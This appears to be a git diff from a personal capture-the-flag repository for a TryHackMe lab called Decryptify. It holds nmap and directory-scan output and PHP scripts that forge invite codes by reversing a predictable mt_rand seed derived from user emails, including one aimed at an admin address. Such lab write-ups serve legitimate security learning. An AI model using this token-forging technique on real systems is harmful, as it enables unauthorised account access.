[2K/logs (Status: 301) [Size: 322] [--> http://decryptify.thm:1337/logs/]
|
||||
|
||||
[2K/javascript (Status: 301) [Size: 328] [--> http://decryptify.thm:1337/javascript/]
|
||||
|
||||
[2K/phpmyadmin (Status: 301) [Size: 328] [--> http://decryptify.thm:1337/phpmyadmin/]
|
||||
BIN
CTF/Decryptify1.2/images/dashboard.png
Normal file
BIN
CTF/Decryptify1.2/images/dashboard.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 56 KiB |
BIN
CTF/Decryptify1.2/images/dashboard_date.png
Normal file
BIN
CTF/Decryptify1.2/images/dashboard_date.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 71 KiB |
BIN
CTF/Decryptify1.2/images/dashboard_source.png
Normal file
BIN
CTF/Decryptify1.2/images/dashboard_source.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 128 KiB |
20
CTF/Decryptify1.2/invite.js
Normal file
20
CTF/Decryptify1.2/invite.js
Normal file
@@ -0,0 +1,20 @@
|
||||
|
||||
|
||||
This function generates a invite_code against a user email.
|
||||
|
||||
|
||||
// Token generation example
|
||||
function calculate_seed_value($email, $constant_value) {
|
||||
$email_length = strlen($email);
|
||||
$email_hex = hexdec(substr($email, 0, 8));
|
||||
$seed_value = hexdec($email_length + $constant_value + $email_hex);
|
||||
|
||||
return $seed_value;
|
||||
}
|
||||
$seed_value = calculate_seed_value($email, $constant_value);
|
||||
mt_srand($seed_value);
|
||||
$random = mt_rand();
|
||||
$invite_code = base64_encode($random);
|
||||
|
||||
|
||||
|
||||
31
CTF/Decryptify1.2/nmap.output
Normal file
31
CTF/Decryptify1.2/nmap.output
Normal file
@@ -0,0 +1,31 @@
|
||||
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 17:56 CEST
|
||||
Nmap scan report for decryptify.thm (10.10.177.70)
|
||||
Host is up (0.042s latency).
|
||||
Not shown: 65533 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 3072 6a:76:21:04:a5:3d:3e:08:90:28:15:5c:66:50:6b:de (RSA)
|
||||
| 256 3e:ab:19:7c:94:a2:33:f4:9c:ce:b2:8c:9c:fc:a9:e8 (ECDSA)
|
||||
|_ 256 6a:16:f3:e0:74:5d:ca:83:16:15:91:a2:42:a7:74:60 (ED25519)
|
||||
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|
||||
|_http-title: Login - Decryptify
|
||||
| http-cookie-flags:
|
||||
| /:
|
||||
| PHPSESSID:
|
||||
|_ httponly flag not set
|
||||
|_http-server-header: Apache/2.4.41 (Ubuntu)
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4.15
|
||||
OS details: Linux 4.15
|
||||
Network Distance: 2 hops
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
TRACEROUTE (using port 23/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 43.52 ms 10.14.0.1
|
||||
2 44.69 ms decryptify.thm (10.10.177.70)
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 47.73 seconds
|
||||
32
CTF/Decryptify1.2/php/invite_code.php
Normal file
32
CTF/Decryptify1.2/php/invite_code.php
Normal file
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
function calculate_constant_value($email, $seed_value) {
|
||||
$email_length = strlen($email);
|
||||
$email_hex = hexdec(substr($email, 0, 8));
|
||||
$constant_value = dechex($seed_value) - ($email_length + $email_hex);
|
||||
return $constant_value;
|
||||
}
|
||||
|
||||
function calculate_seed_value($email, $constant_value) {
|
||||
$email_length = strlen($email);
|
||||
$email_hex = hexdec(substr($email, 0, 8));
|
||||
$seed_value = hexdec($email_length + $constant_value + $email_hex);
|
||||
return $seed_value;
|
||||
}
|
||||
|
||||
$email1 = "alpha@fake.thm";
|
||||
$email2 = "hello@fake.thm";
|
||||
$seed_array = [1324931, 428529271, 719176282, 933931643, 1493184672, 1723879575, 2232092689];
|
||||
|
||||
foreach($seed_array as $seed) {
|
||||
|
||||
$constant_value = calculate_constant_value($email1, $seed);
|
||||
|
||||
$seed_value = calculate_seed_value($email2, $constant_value);
|
||||
mt_srand($seed_value);
|
||||
$random = mt_rand();
|
||||
$invite_code = base64_encode($random);
|
||||
|
||||
echo "The invite code for " . $constant_value . " is: " . $invite_code . "\n";
|
||||
}
|
||||
|
||||
?>
|
||||
32
CTF/Decryptify1.2/php/invite_code1.php
Normal file
32
CTF/Decryptify1.2/php/invite_code1.php
Normal file
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
function calculate_constant_value($email, $seed_value) {
|
||||
$email_length = strlen($email);
|
||||
$email_hex = hexdec(substr($email, 0, 8));
|
||||
$constant_value = dechex($seed_value) - ($email_length + $email_hex);
|
||||
return $constant_value;
|
||||
}
|
||||
|
||||
function calculate_seed_value($email, $constant_value) {
|
||||
$email_length = strlen($email);
|
||||
$email_hex = hexdec(substr($email, 0, 8));
|
||||
$seed_value = hexdec($email_length + $constant_value + $email_hex);
|
||||
return $seed_value;
|
||||
}
|
||||
|
||||
$email1 = "alpha@fake.thm";
|
||||
$email2 = "admin@fake.thm";
|
||||
$seed_array = [1324931, 428529271, 719176282, 933931643, 1493184672, 1723879575, 2232092689];
|
||||
|
||||
foreach($seed_array as $seed) {
|
||||
|
||||
$constant_value = calculate_constant_value($email1, $seed);
|
||||
|
||||
$seed_value = calculate_seed_value($email2, $constant_value);
|
||||
mt_srand($seed_value);
|
||||
$random = mt_rand();
|
||||
$invite_code = base64_encode($random);
|
||||
|
||||
echo "The invite code for " . $constant_value . " is: " . $invite_code . "\n";
|
||||
}
|
||||
|
||||
?>
|
||||
11
CTF/Decryptify1.2/php/test1.php
Normal file
11
CTF/Decryptify1.2/php/test1.php
Normal file
@@ -0,0 +1,11 @@
|
||||
<?php
|
||||
$email = "alpha@fake.thm";
|
||||
$seed_value = 1324931;
|
||||
|
||||
$email_length = strlen($email);
|
||||
$email_hex = hexdec(substr($email, 0, 8));
|
||||
$sum_value = dechex($seed_value);
|
||||
|
||||
$constant_value = $sum_value - ($email_length + $email_hex);
|
||||
echo "The constant value is: " . $constant_value;
|
||||
?>
|
||||
18
CTF/Decryptify1.2/php/test2.php
Normal file
18
CTF/Decryptify1.2/php/test2.php
Normal file
@@ -0,0 +1,18 @@
|
||||
<?php
|
||||
function calculate_seed_value($email, $constant_value) {
|
||||
$email_length = strlen($email);
|
||||
$email_hex = hexdec(substr($email, 0, 8));
|
||||
$seed_value = hexdec($email_length + $constant_value + $email_hex);
|
||||
|
||||
return $seed_value;
|
||||
}
|
||||
|
||||
$email = "hello@fake.thm";
|
||||
$constant_value = 99999;
|
||||
|
||||
$seed_value = calculate_seed_value($email, $constant_value);
|
||||
mt_srand($seed_value);
|
||||
$random = mt_rand();
|
||||
$invite_code = base64_encode($random);
|
||||
echo "The invite code for " . $email . " is: " . $invite_code;
|
||||
?>
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user